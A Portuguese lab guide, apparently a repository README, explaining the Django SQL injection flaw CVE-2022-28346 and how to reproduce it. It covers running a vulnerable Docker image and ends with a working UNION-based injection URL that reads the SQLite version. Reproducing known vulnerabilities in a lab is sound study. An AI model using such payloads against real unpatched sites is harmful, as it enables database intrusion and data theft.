
Foi encontrada uma falha no pacote Django, que leva a uma injeção de SQL. Essa falha permite que um atacante, usando um dicionário especialmente elaborado contendo consultas SQL maliciosas, comprometa completamente o banco de dados.
Foi encontrada uma falha no pacote Django, que leva a uma injeção de SQL. Essa falha permite que um atacante use um dicionário especialmente criado contendo consultas SQL maliciosas para comprometer completamente o banco de dados.
Acima, no repositório de código, você encontrará o relatório de análise detalhado (PDF) sobre a CVE-2022-28346.
A CVE-2022-28346 é uma vulnerabilidade crítica identificada em várias versões do Django, um framework web Python popular. Essa vulnerabilidade afeta especificamente as versões do Django 2.2 anteriores a 2.2.28, 3.2 anteriores a 3.2.13 e 4.0 anteriores a 4.0.4.
O cerne do problema está nos métodos QuerySet.annotate(), aggregate() e extra() do Django. Esses métodos são vulneráveis a ataques de injeção de SQL quando aliases de coluna são usados em conjunto com um dicionário especialmente criado (com expansão de dicionário) como os **kwargs passados. A injeção de SQL é um tipo de ataque que permite que um atacante interfira nas consultas que uma aplicação faz ao seu banco de dados. Ela pode ser usada para visualizar dados que normalmente não é possível recuperar, incluindo dados de outros usuários, ou qualquer outro dado ao qual a própria aplicação tem acesso. Em alguns casos, um atacante pode modificar ou excluir esses dados, afetando a integridade dos dados.
Para conduzir um teste completo dessa vulnerabilidade, garanta que haja espaço livre suficiente no seu disco rígido. É necessário um mínimo de 1,2 GB para executar o teste de vulnerabilidade com êxito.
Se você já tiver o Docker instalado, pode pular esta seção e ir diretamente para o próximo conjunto de instruções.
Para começar a testar esta vulnerabilidade, instale o Docker:
Verifique se o Docker está operacional antes de passar para as próximas etapas.
No seu terminal, execute o seguinte comando para obter a imagem docker que criamos e enviamos para o DockerHub:
sudo docker pull marouanekamal/cve-2022-28346:latest

E aguarde o término do download da imagem Docker. Se você encontrar algum problema, pode ser devido à sua conexão com a internet; certifique-se de ter uma conexão estável e ativa.
Após a conclusão da instalação, verifique se a imagem existe executando o seguinte comando:
sudo docker images

Agora você pode executar a imagem docker usando o seguinte comando:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

Agora o servidor está em execução e podemos explorar essa CVE ;)
Depois de executar a imagem docker, você pode acessar o seguinte link para verificar se a URL está acessível:
http://0.0.0.0:8000/

A palavra ok exibida significa que a URL está acessível e que tudo está funcionando perfeitamente!
Agora vamos atacar essa vulnerabilidade usando injeção de SQL. Digite a seguinte URL para isso:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

Conseguimos determinar a versão do SQLite usada pelo servidor ;)